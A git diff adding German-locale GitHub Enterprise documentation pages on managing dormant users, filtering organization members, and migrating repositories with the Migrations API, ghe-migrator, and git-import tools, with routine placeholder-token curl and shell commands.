+You can view a list of all dormant users {% ifversion ghes or ghae %} who have not been suspended and {% endif %}who are not site administrators. {% data reusables.enterprise-accounts.dormant-user-activity-threshold %} For more information, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)."
+
+{% ifversion filter-by-enterprise-member-type %}
+## Filtering by member type{% ifversion ghec %} in an {% data variables.enterprise.prodname_emu_enterprise %}{% endif %}
+
+{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% elsif ghes or ghae %}You{% endif %} can filter the member list of an organization by type to determine if memberships are managed through an IdP or managed directly. Memberships managed through an IdP were added through an IdP group, and the IdP group was connected to a team within the organization. Memberships managed directly were added to the organization manually. The way a membership is mananaged in an organization determines how it must be removed. You can use this filter to determine how members were added to an organization, so you know how to remove them.{% ifversion ghec %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users#about-organization-membership-management)."{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+1. Under "Organizations," in the search bar, begin typing the organization's name until the organization appears in the search results, then click the name of the organization.
+   ![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
+1. Under the organization name, click {% octicon "person" aria-label="The Person icon" %} **People**.
+   ![Screenshot of the People tab](/assets/images/help/enterprises/emu-organization-people-tab.png)
+1. Above the list of members, click **Type**, then select the type of members you want to view.
+   ![Screenshot of the "Type" button](/assets/images/help/enterprises/filter-by-member-type.png)
+
+{% endif %}
+
+{% ifversion ghec or ghes %}
+## Viewing members without an email address from a verified domain
+
+You can view a list of members in your enterprise who don't have an email address from a verified domain associated with their user account on {% data variables.product.prodname_dotcom_the_website %}.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.verified-domains-tab %}
+1. Under "Notification preferences", click the {% octicon "eye" aria-label="The github eye icon" %} **View enterprise members without an approved or verified domain email** link.
+{% endif %}
+
+## Further reading
+
+- "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)"
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md
new file mode 100644
index 0000000000..f0f6adac03
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md
@@ -0,0 +1,51 @@
+---
+title: About migrations
+intro: 'A migration is the process of transferring data from a *source* location (either a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance. Migrations can be used to transfer your data when changing platforms or upgrading hardware on your instance.'
+redirect_from:
+  - /enterprise/admin/migrations/about-migrations
+  - /enterprise/admin/user-management/about-migrations
+  - /admin/user-management/about-migrations
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - Migration
+---
+## Types of migrations
+
+There are three types of migrations you can perform:
+
+- A migration from a {% data variables.product.prodname_ghe_server %} instance to another {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by any user or organization on the instance. Before performing a migration, you must have site administrator access to both instances.
+- A migration from a {% data variables.product.prodname_dotcom_the_website %} organization to a {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by the organization. Before performing a migration, you must have [administrative access](/enterprise/user/articles/permission-levels-for-an-organization/) to the {% data variables.product.prodname_dotcom_the_website %} organization as well as site administrator access to the target instance.
+- *Trial runs* are migrations that import data to a [staging instance](/enterprise/admin/guides/installation/setting-up-a-staging-instance/). These can be useful to see what *would* happen if a migration were applied to {% data variables.location.product_location %}. **We strongly recommend that you perform a trial run on a staging instance before importing data to your production instance.**
+
+## Migrated data
+
+In a migration, everything revolves around a repository. Most data associated with a repository can be migrated. For example, a repository within an organization will migrate the repository *and* the organization, as well as any users, teams, issues, and pull requests associated with the repository.
+
+The items in the table below can be migrated with a repository. Any items not shown in the list of migrated data can not be migrated, including {% data variables.large_files.product_name_short %} assets.
+
+{% data reusables.enterprise_migrations.fork-persistence %}
+
+|  Data associated with a migrated repository | Notes  |
+|---------------------------------------------|--------|
+| Users | **@mentions** of users are rewritten to match the target.
+| Organizations | An organization's name and details are migrated.
+| Repositories | Links to Git trees, blobs, commits, and lines are rewritten to match the target. The migrator follows a maximum of three repository redirects. Internal repositories are migrated as private repositories. Archive status is unset.
+| Wikis | All wiki data is migrated.
+| Teams | **@mentions** of teams are rewritten to match the target.
+| Milestones | Timestamps are preserved.
+| Project boards | Project boards associated with the repository and with the organization that owns the repository are migrated.
+| Issues | Issue references and timestamps are preserved.
+| Issue comments | Cross-references to comments are rewritten for the target instance.
+| Pull requests | Cross-references to pull requests are rewritten to match the target. Timestamps are preserved.
+| Pull request reviews | Pull request reviews and associated data are migrated.
+| Pull request review comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved.
+| Commit comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved.
+| Releases | All releases data is migrated.
+| Actions taken on pull requests or issues | All modifications to pull requests or issues, such as assigning users, renaming titles, and modifying labels are preserved, along with timestamps for each action.
+|  File attachments | [File attachments on issues and pull requests](/articles/file-attachments-on-issues-and-pull-requests) are migrated. You can choose to disable this as part of the migration.
+| Webhooks | Only active webhooks are migrated.
+| Repository deploy keys | Repository deploy keys are migrated.
+| Protected branches | Protected branch settings and associated data are migrated.
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md
new file mode 100644
index 0000000000..13f8c8afd0
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md
@@ -0,0 +1,98 @@
+---
+title: Migrationsdaten von GitHub.com exportieren
+intro: 'Du kannst Migrationsdaten aus einer Organisation auf {% data variables.product.prodname_dotcom_the_website %} mithilfe der API zum Migrieren von Repositorys exportieren und dann ein Migrationsarchiv generieren, das du in eine {% data variables.product.prodname_ghe_server %}-Instanz importieren kannst.'
+redirect_from:
+  - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-com
+  - /enterprise/admin/migrations/exporting-migration-data-from-githubcom
+  - /enterprise/admin/migrations/preparing-the-githubcom-source-organization
+  - /enterprise/admin/migrations/exporting-the-githubcom-organizations-repositories
+  - /enterprise/admin/guides/migrations/preparing-the-github-com-source-organization
+  - /enterprise/admin/guides/migrations/exporting-the-github-com-organization-s-repositories
+  - /enterprise/admin/user-management/exporting-migration-data-from-githubcom
+  - /admin/user-management/exporting-migration-data-from-githubcom
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - API
+  - Enterprise
+  - Migration
+shortTitle: Export data from GitHub.com
+ms.openlocfilehash: 07c74c41312fe5818390bba206072bf95e5bc00c
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147717869'
+---
+## Vorbereiten der Quellorganisation auf {% data variables.product.prodname_dotcom %}
+
+1. Stelle sicher, dass du über [Besitzerberechtigungen](/articles/permission-levels-for-an-organization/) für die Repositorys der Quellorganisation verfügst.
+
+2. {% data reusables.enterprise_migrations.token-generation %} auf {% data variables.product.prodname_dotcom_the_website %}.
+
+{% data reusables.enterprise_migrations.make-a-list %}
+
+## Exportieren der Repositorys der Organisation
+
+{% data reusables.enterprise_migrations.fork-persistence %}
+
+Zum Exportieren von Repositorydaten aus {% data variables.product.prodname_dotcom_the_website %} verwendest du die [Migrations-API](/free-pro-team@latest/rest/migrations).
+
+Die API für Migrationen befindet sich derzeit in einer Vorschauphase, weshalb sich die Endpunkte und Parameter künftig ändern können.
+## Migrationsarchiv generieren
+
+{% data reusables.enterprise_migrations.locking-repositories %}
+
+1. Benachrichtige die Mitglieder deiner Organisation, dass du eine Migration durchführen wirst. Der Export kann entsprechend der Anzahl der zu exportierenden Repositorys mehrere Minuten dauern. Die vollständige Migration, einschließlich des Imports, dauert ggf. mehrere Stunden. Daher wird empfohlen, einen Probelauf durchzuführen, um die Länge des vollständigen Prozesses ermitteln zu können. Weitere Informationen findest du unter [Informationen zu Migrationen](/enterprise/admin/migrations/about-migrations#types-of-migrations).
+
+2. Starte eine Migration, indem du eine `POST`-Anforderung an [den Migrationsendpunkt](/free-pro-team@latest/rest/migrations#start-an-organization-migration) sendest. Sie benötigen Folgendes:
+    * Dein Zugriffstoken für die Authentifizierung.
+    * Eine [Liste der Repositorys](/free-pro-team@latest/rest/repos#list-organization-repositories), die du migrieren möchtest:
+      ```shell
+      curl -H "Authorization: Bearer <em>GITHUB_ACCESS_TOKEN</em>" \
+      -X POST \
+      -H "Accept: application/vnd.github+json" \
+      -d'{"lock_repositories":true,"repositories":["<em>orgname</em>/<em>reponame</em>", "<em>orgname</em>/<em>reponame</em>"]}' \
+      https://api.github.com/orgs/<em>orgname</em>/migrations
+      ```
+    *  Wenn du die Repositorys vor der Migration sperren möchtest, stelle sicher, dass `lock_repositories` auf `true` festgelegt ist. Dies wird dringend empfohlen.
+    * Du kannst Dateianlagen ausschließen, indem du `exclude_attachments: true` an den Endpunkt übergibst. {% data reusables.enterprise_migrations.exclude-file-attachments %} Die endgültige Archivgröße muss kleiner als 20 GB sein.
+
+  Diese Anforderung gibt einen eindeutigen `id`-Wert zurück, der deine Migration darstellt. du benötigst diese für nachfolgende Aufrufe der API für Migrationen.
+
+3. Sende eine `GET`-Anforderung an [den Migrationsstatusendpunkt](/free-pro-team@latest/rest/migrations#get-an-organization-migration-status), um den Status einer Migration abzurufen. Sie benötigen Folgendes:
+    * Dein Zugriffstoken für die Authentifizierung.
+    * Die eindeutige `id` der Migration:
+      ```shell
+      curl -H "Authorization: Bearer <em>GITHUB_ACCESS_TOKEN</em>" \
+      -H "Accept: application/vnd.github+json" \
+      https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>
+      ```
+
+  Eine Migration kann einen der folgenden Zustände aufweisen:
+    * `pending`, was bedeutet, dass die Migration noch nicht gestartet wurde.
+    * `exporting`, was bedeutet, dass die Migration ausgeführt wird.
+    * `exported`, was bedeutet, dass die Migration erfolgreich abgeschlossen wurde.
+    * `failed`, was bedeutet, dass bei der Migration ein Fehler aufgetreten ist.
+
+4. Lade nach dem Export deiner Migration das Migrationsarchiv herunter, indem du eine `GET`-Anforderung an [den Migrationsdownload-Endpunkt](/free-pro-team@latest/rest/migrations#download-an-organization-migration-archive) sendest. Sie benötigen Folgendes:
+    * Dein Zugriffstoken für die Authentifizierung.
+    * Die eindeutige `id` der Migration:
+      ```shell
+      curl -H "Authorization: Bearer <em>GITHUB_ACCESS_TOKEN</em>" \
+      -H "Accept: application/vnd.github+json" \
+      -L -o migration_archive.tar.gz \
+      https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/archive
+      ```
+
+5. Das Migrationsarchiv wird nach sieben Tagen automatisch gelöscht. Wenn du es früher löschen möchtest, kannst du eine `DELETE`-Anforderung an [den Löschendpunkt des Migrationsarchivs](/free-pro-team@latest/rest/migrations#delete-an-organization-migration-archive) senden. Sie benötigen Folgendes:
+    * Dein Zugriffstoken für die Authentifizierung.
+    * Die eindeutige `id` der Migration:
+      ```shell
+      curl -H "Authorization: Bearer <em>GITHUB_ACCESS_TOKEN</em>" \
+      -X DELETE \
+      -H "Accept: application/vnd.github+json" \
+      https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/archive
+      ```
+{% data reusables.enterprise_migrations.ready-to-import-migrations %}
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
new file mode 100644
index 0000000000..857f19fd91
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
@@ -0,0 +1,105 @@
+---
+title: Exporting migration data from your enterprise
+intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.'
+redirect_from:
+  - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise
+  - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server
+  - /enterprise/admin/migrations/preparing-the-github-enterprise-server-source-instance
+  - /enterprise/admin/migrations/exporting-the-github-enterprise-server-source-repositories
+  - /enterprise/admin/guides/migrations/preparing-the-github-enterprise-source-instance
+  - /enterprise/admin/guides/migrations/exporting-the-github-enterprise-source-repositories
+  - /enterprise/admin/user-management/exporting-migration-data-from-your-enterprise
+  - /admin/user-management/exporting-migration-data-from-your-enterprise
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - API
+  - Enterprise
+  - Migration
+shortTitle: Export from your enterprise
+---
+## Preparing the {% data variables.product.prodname_ghe_server %} source instance
+
+1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/).
+
+2. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance.
+
+{% data reusables.enterprise_migrations.make-a-list %}
+
+## Exporting the {% data variables.product.prodname_ghe_server %} source repositories
+
+{% data reusables.enterprise_migrations.locking-repositories %}
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL:
+    * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed.
+      ```shell
+      $ ghe-migrator add https://HOSTNAME/USERNAME/REPO-NAME --lock
+      ```
+    * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %}
+    * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file.
+      ```shell
+      $ ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URL.txt
+      ```
+
+3. When prompted, enter your {% data variables.product.prodname_ghe_server %} username:
+  ```shell
+  Enter username authorized for migration:  admin
+  ```
+4. When prompted for a {% data variables.product.pat_generic %}, enter the access token you created in "[Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance)":
+  ```shell
+  Enter {% data variables.product.pat_generic %}:  **************
+  ```
+5. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export.
+  ```shell
+  > 101 models added to export
+  > Migration GUID: EXAMPLE-MIGRATION-GUID
+  > Number of records in this migration:
+  > users                        |  5
+  > organizations                |  1
+  > repositories                 |  1
+  > teams                        |  3
+  > protected_branches           |  1
+  > pull_request_reviews         |  1
+  > milestones                   |  1
+  > issues                       |  3
+  > pull_requests                |  5
+  > pull_request_review_comments |  4
+  > commit_comments              |  2
+  > issue_comments               | 10
+  > issue_events                 | 63
+  > releases                     |  3
+  > attachments                  |  4
+  > projects                     |  2
+  ```
+  Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**.
+
+3. If you locked the source repository, you can use the `ghe-migrator target_url` command to set a custom lock message on the repository page that links to the repository's new location. Pass the source repository URL, the target repository URL, and the Migration GUID from Step 5:
+
+  ```shell
+  $ ghe-migrator target_url https://HOSTNAME/USERNAME/REPO-NAME https://TARGET-HOSTNAME/TARGET-USER-NAME/TARGET-REPO-NAME -g MIGRATION-GUID
+  ```
+
+6. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5:
+  ```shell
+  $ ghe-migrator add https://HOSTNAME/USERNAME/OTHER-REPO-NAME -g MIGRATION-GUID --lock
+  ```
+7. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5:
+    ```shell
+    $ ghe-migrator export -g MIGRATION-GUID
+    > Archive saved to: /data/github/current/tmp/MIGRATION-GUID.tar.gz
+    ```
+    * {% data reusables.enterprise_migrations.specify-staging-path %}
+
+8. Close the connection to {% data variables.location.product_location %}:
+  ```shell
+  $ exit
+  > logout
+  > Connection to HOSTNAME closed.
+  ```
+9. Copy the migration archive to your computer using the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID:
+  ```shell
+  $ scp -P 122 admin@HOSTNAME:/data/github/current/tmp/MIGRATION-GUID.tar.gz ~/Desktop
+  ```
+{% data reusables.enterprise_migrations.ready-to-import-migrations %}
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md
new file mode 100644
index 0000000000..3a07f714a4
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md
@@ -0,0 +1,84 @@
+---
+title: Daten aus Drittanbieter-Quellcodeverwaltungssystemen importieren
+intro: 'Mit der Sammlung von git-import-Tools kannst du Elemente aus Subversion, Mercurial und der Team Foundation-Versionskontrolle in Git-Repositorys in {% data variables.product.prodname_ghe_server %} importieren.'
+redirect_from:
+  - /enterprise/admin/migrations/importing-data-from-third-party-version-control-systems
+  - /enterprise/admin/user-management/importing-data-from-third-party-version-control-systems
+  - /admin/user-management/importing-data-from-third-party-version-control-systems
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Migration
+shortTitle: Import from another VCS
+ms.openlocfilehash: 2647bf8eb0a08e4188d36ddc8bd7057ee1e2f208
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146332006'
+---
+## Projekte aus Mercurial importieren
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. Erstelle einen Klon im Rohdatenformat des Projekts. Führe dazu den folgenden Befehl aus. Gib dazu die URL des Quellprojekts und einen Pfad zum temporären Repository an:
+  ```shell
+  $ git-import-hg-raw <em>HG-CLONE-URL</em> /<em>PATH</em>/<em>REPO-NAME</em>.git
+  # Creates a new repository with one or more Git refs in "refs/import/" in the specified path.
+  ```
+{% data reusables.enterprise_migrations.review-the-import-csv %}
+4. Schreibt die Autoren und Branches mit der CSV-Datei um:
+  ```shell
+  $ git-import-rewrite --flavor hg --authors /<em>PATH</em>/<em>AUTHORS-MAP-FILE</em>.csv /<em>PATH</em>/<em>REPO-NAME</em>.git
+  ```
+5. Wenn dies noch nicht erfolgt ist, [erstelle ein neues leeres Repository auf {% data variables.product.prodname_ghe_server %}](/enterprise/user/articles/creating-a-new-repository).
+{% data reusables.command_line.switching_directories_procedural %}
+7. Übertrage das importierte Repository per Push-Vorgang an {% data variables.product.prodname_ghe_server %}:
+  ```shell
+  $ git push --mirror <em>PUSH-URL-ON-GITHUB-ENTERPRISE</em>
+  ```
+
+## Projekte aus Subversion importieren
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. Erstelle einen Klon im Rohdatenformat des Projekts. Führe dazu den folgenden Befehl aus. Gib dazu die URL des Quellprojekts und einen Pfad zum temporären Repository an:
+  ```shell
+  $ git-import-svn-raw <em>SVN-CLONE-URL</em> /<em>PATH</em>/<em>REPO-NAME</em>.git
+  # Creates a new repository with one or more Git refs in "refs/import/" in the specified path.
+  ```
+{% data reusables.enterprise_migrations.review-the-import-csv %}
+4. Schreibt die Autoren und Branches mit der CSV-Datei um:
+  ```shell
+  $ git-import-rewrite --flavor svn --authors /<em>PATH</em>/<em>AUTHORS-MAP-FILE</em>.csv /<em>PATH</em>/<em>REPO-NAME</em>.git
+  ```
+5. Wenn dies noch nicht erfolgt ist, [erstelle ein neues leeres Repository auf {% data variables.product.prodname_ghe_server %}](/enterprise/user/articles/creating-a-new-repository).
+{% data reusables.command_line.switching_directories_procedural %}
+7. Übertrage das importierte Repository per Push-Vorgang an {% data variables.product.prodname_ghe_server %}:
+  ```shell
+  $ git push --mirror <em>PUSH-URL-ON-GITHUB-ENTERPRISE</em>
+  ```
+
+## Projekte aus der Team Foundation-Versionskontrolle importieren
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. Erstelle einen Klon im Rohdatenformat des Projekts. Führe dazu den folgenden Befehl aus. Gib dazu die URL des Quellprojekts und einen Pfad zum temporären Repository an:
+  ```shell
+  $ git-import-tfs-raw <em>TEAM-FOUNDATION-CLONE-URL</em> /<em>PATH</em>/<em>REPO-NAME</em>.git
+  # Creates a new repository with one or more Git refs in "refs/import/" in the specified path.
+  ```
+{% data reusables.enterprise_migrations.review-the-import-csv %}
+4. Schreibt die Autoren und Branches mit der CSV-Datei um:
+  ```shell
+  $ git-import-rewrite --flavor tfs --authors /<em>PATH</em>/<em>AUTHORS-MAP-FILE</em>.csv /<em>PATH</em>/<em>REPO-NAME</em>.git
+  ```
+5. Wenn dies noch nicht erfolgt ist, [erstelle ein neues leeres Repository auf {% data variables.product.prodname_ghe_server %}](/enterprise/user/articles/creating-a-new-repository).
+{% data reusables.command_line.switching_directories_procedural %}
+7. Übertrage das importierte Repository per Push-Vorgang an {% data variables.product.prodname_ghe_server %}:
+  ```shell
+  $ git push --mirror <em>PUSH-URL-ON-GITHUB-ENTERPRISE</em>
+  ```
+
+## Weiterführende Themen
+
+- [Befehlszeilenprogramme](/enterprise/admin/guides/installation/command-line-utilities/#import-and-export)
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
new file mode 100644
index 0000000000..ac34326e09
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
@@ -0,0 +1,22 @@
+---
+title: Migrating data to and from your enterprise
+intro: 'You can export user, organization, and repository data from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_dotcom_the_website %}, then import that data into {% data variables.location.product_location %}.'
+redirect_from:
+  - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise
+  - /enterprise/admin/categories/migrations-and-upgrades
+  - /enterprise/admin/migrations/overview
+  - /enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /about-migrations
+  - /exporting-migration-data-from-your-enterprise
+  - /exporting-migration-data-from-githubcom
+  - /preparing-to-migrate-data-to-your-enterprise
+  - /migrating-data-to-your-enterprise
+  - /importing-data-from-third-party-version-control-systems
+shortTitle: Migration for an enterprise
+---
+
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
new file mode 100644
index 0000000000..b19fb060b4
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
@@ -0,0 +1,153 @@
+---
+title: Migrating data to your enterprise
+intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+redirect_from:
+  - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise
+  - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server
+  - /enterprise/admin/migrations/reviewing-migration-data
+  - /enterprise/admin/migrations/completing-the-import-on-github-enterprise-server
+  - /enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise
+  - /enterprise/admin/guides/migrations/reviewing-the-imported-data
+  - /enterprise/admin/guides/migrations/completing-the-import-on-github-enterprise
+  - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise-server
+  - /enterprise/admin/user-management/migrating-data-to-your-enterprise
+  - /admin/user-management/migrating-data-to-your-enterprise
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Migration
+shortTitle: Import to your enterprise
+---
+## Applying the imported data on {% data variables.product.prodname_ghe_server %}
+
+Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
+
+After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}.
+
+{% data reusables.enterprise_installation.ssh-into-target-instance %}
+
+2. Using the `ghe-migrator import` command, start the import process. You'll need:
+    * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
+    * Your {% data variables.product.pat_generic %} for authentication. The {% data variables.product.pat_generic %} that you use is only for authentication as a site administrator, and does not require any specific scope{% ifversion pat-v2 %} or permissions{% endif %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+    ```shell
+    $ ghe-migrator import /home/admin/MIGRATION-GUID.tar.gz -g MIGRATION-GUID -u USERNAME -p TOKEN
+
+    > Starting GitHub::Migrator
+    > Import 100% complete /
+    ```
+
+    * {% data reusables.enterprise_migrations.specify-staging-path %}
+
+## Reviewing migration data
+
+By default, `ghe-migrator audit` returns every record. It also allows you to filter records by:
+
+  * The types of records.
+  * The state of the records.
+
+The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
+
+## Record type filters
+
+|      Record type      | Filter name  |
+|-----------------------|--------|
+| Users           | `user`
+| Organizations   | `organization`
+| Repositories    | `repository`
+| Teams           | `team`
+| Milestones      | `milestone`
+| Project boards  | `project`
+| Issues          | `issue`
+| Issue comments  | `issue_comment`
+| Pull requests   | `pull_request`
+| Pull request reviews | `pull_request_review`
+| Commit comments | `commit_comment`
+| Pull request review comments | `pull_request_review_comment`
+| Releases | `release`
+| Actions taken on pull requests or issues | `issue_event`
+| Protected branches | `protected_branch`
+
+## Record state filters
+
+| Record state    | Description    |
+|-----------------|----------------|
+| `export`        | The record will be exported. |
+| `import`        | The record will be imported. |
+| `map`           | The record will be mapped. |
+| `rename`        | The record will be renamed. |
+| `merge`         | The record will be merged. |
+| `exported`      | The record was successfully exported. |
+| `imported`      | The record was successfully imported. |
+| `mapped`        | The record was successfully mapped. |
+| `renamed`       | The record was successfully renamed. |
+| `merged`        | The record was successfully merged. |
+| `failed_export` | The record failed to export. |
+| `failed_import` | The record failed to be imported. |
+| `failed_map`    | The record failed to be mapped. |
+| `failed_rename` | The record failed to be renamed. |
+| `failed_merge`  | The record failed to be merged. |
+
+## Filtering audited records
+
+With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this:
+
+```shell
+$ ghe-migrator audit -m RECORD_TYPE -s STATE -g MIGRATION-GUID
+```
+
+For example, to view every successfully imported organization and team, you would enter:
+```shell
+$ ghe-migrator audit -m organization,team -s mapped,renamed -g MIGRATION-GUID
+> model_name,source_url,target_url,state
+> organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed
+```
+
+**We strongly recommend auditing every import that failed.** To do that, you will enter:
+```shell
+$ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g MIGRATION-GUID
+> model_name,source_url,target_url,state
+> user,https://gh.source/octocat,https://gh.target/octocat,failed
+> repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed
+```
+
+If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}.
+
+## Completing the import on {% data variables.product.prodname_ghe_server %}
+
+After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected.
+
+## Unlocking repositories on the target instance
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+{% data reusables.enterprise_migrations.unlocking-on-instances %}
+
+## Unlocking repositories on the source
+
+### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+
+To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to [the migration unlock endpoint](/free-pro-team@latest/rest/migrations#unlock-an-organization-repository). You'll need:
+  * Your access token for authentication
+  * The unique `id` of the migration
+  * The name of the repository to unlock
+
+```shell
+curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \
+  -H "Accept: application/vnd.github.wyandotte-preview+json" \
+  https://api.github.com/orgs/ORG-NAME/migrations/ID/repos/REPO_NAME/lock
+```
+
+### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+
+After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/repos/#delete-a-repository). You'll need your access token for authentication:
+```shell
+curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \
+  https://api.github.com/repos/ORG-NAME/REPO_NAME
+```
+
+### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
